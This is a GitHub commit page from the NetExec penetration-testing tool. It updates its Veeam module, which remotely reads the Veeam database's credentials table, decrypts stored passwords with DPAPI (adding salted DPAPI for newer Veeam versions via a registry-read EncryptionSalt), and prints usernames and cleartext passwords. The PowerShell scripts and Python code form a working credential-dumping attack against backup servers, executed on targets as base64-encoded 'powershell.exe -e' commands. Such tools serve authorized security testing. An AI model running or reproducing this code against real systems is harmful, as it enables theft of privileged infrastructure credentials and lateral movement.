Skip to content

Commit

Permalink
Merge pull request #570 from Pennyw0rth/neff-fix-veeam-output
Browse files Browse the repository at this point in the history
  • Loading branch information
NeffIsBack authored Mar 4, 2025
2 parents 674fe5e + 342a130 commit 9161b29
Show file tree
Hide file tree
Showing 3 changed files with 106 additions and 28 deletions.
46 changes: 37 additions & 9 deletions nxc/data/veeam_dump_module/veeam_dump_mssql.ps1
Original file line number Diff line number Diff line change
@@ -1,9 +1,10 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$b64Salt = "REPLACE_ME_b64Salt"

#Forming the connection string
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
Expand All @@ -22,19 +23,46 @@ catch {
exit -1
}

$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
$output=($dataset.Tables | Select-Object -Expand Rows)
if ($output.count -eq 0) {
Write-Host "No passwords found!"
exit
}

Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
# Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'

try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}

Write-Output $rows | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
40 changes: 34 additions & 6 deletions nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1
Original file line number Diff line number Diff line change
@@ -1,22 +1,50 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$b64Salt = "REPLACE_ME_b64Salt"

$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv

if ($output.count -eq 0) {
Write-Host "No passwords found!"
exit
}

# Decrypting passwords using DPAPI
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'

try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}

Write-Output $output | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
48 changes: 35 additions & 13 deletions nxc/modules/veeam.py
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,9 @@ def checkVeeamInstalled(self, context, connection):
PostgresUserForWindowsAuth = ""
SqlDatabaseName = ""

# Salt for newer Veeam versions
salt = ""

try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
Expand Down Expand Up @@ -72,6 +75,8 @@ def checkVeeamInstalled(self, context, connection):
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]

salt = self.get_salt(context, remoteOps, regHandle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No Veeam v12 installation found")
Expand Down Expand Up @@ -107,36 +112,46 @@ def checkVeeamInstalled(self, context, connection):
# Check if we found an SQL Server of some kind
if SqlDatabase and SqlInstance and SqlServer:
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt)
self.printCreds(context, credentials)
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt)
self.printCreds(context, credentials)

def stripXmlOutput(self, context, output):
return output.split("CLIXML")[1].split("<Objs Version")[0]
def get_salt(self, context, remoteOps, regHandle):
try:
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"]
return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0]
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No Salt found")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())

def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")

return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)

def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")

return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)

def printCreds(self, context, output):
# Format output if returned in some XML Format
if "CLIXML" in output:
output = self.stripXmlOutput(context, output)
output = output.split("CLIXML")[1].split("<Objs Version")[0]

if "Access denied" in output:
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
Expand All @@ -152,13 +167,20 @@ def printCreds(self, context, output):
# When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
# This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
try:
context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
for account in output_stripped:
user, password = account.split(" ", 1)
password = password.strip().replace("WHITESPACE_ERROR", " ")
user = user.strip()
context.log.highlight(f"{user}:{password}")
if " " in password:
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
# Remove multiple whitespaces
account = " ".join(account.split())
try:
user, password, description = account.split(" ", 2)
except ValueError:
user, password = account.split(" ", 1)
description = ""
user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
context.log.highlight(f"{user:<40} {password:<40} {description}")
except ValueError:
context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
context.log.fail("Please report this issue on GitHub!")
Expand Down

0 comments on commit 9161b29

Please sign in to comment.